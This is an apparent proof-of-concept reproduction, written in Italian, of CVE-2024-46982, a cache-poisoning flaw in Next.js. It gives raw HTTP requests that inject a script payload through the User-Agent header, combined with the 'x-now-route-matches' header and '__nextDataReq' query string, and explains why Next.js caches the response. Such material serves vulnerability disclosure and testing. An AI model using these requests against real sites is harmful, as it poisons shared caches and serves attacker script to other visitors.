
Riproduzione di CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visita http://localhost:3000 (Richiesta normale) usando un qualsiasi browser Web.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Visita http://localhost:3000 (Richiesta normale) usando un qualsiasi browser Web.

x-now-route-matches è un header HTTP personalizzato riconosciuto da Next.js. Quando presente, Next.js tratta la richiesta HTTP come "SSG" (Static Site Generation), consentendo alla risposta HTTP di essere memorizzata nella cache (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 è una querystring riconosciuta da Next.js. Quando presente, Next.js tratta la richiesta HTTP come "Recupero di __NEXT_DATA__".
L'analisi completa è disponibile nella sezione Credit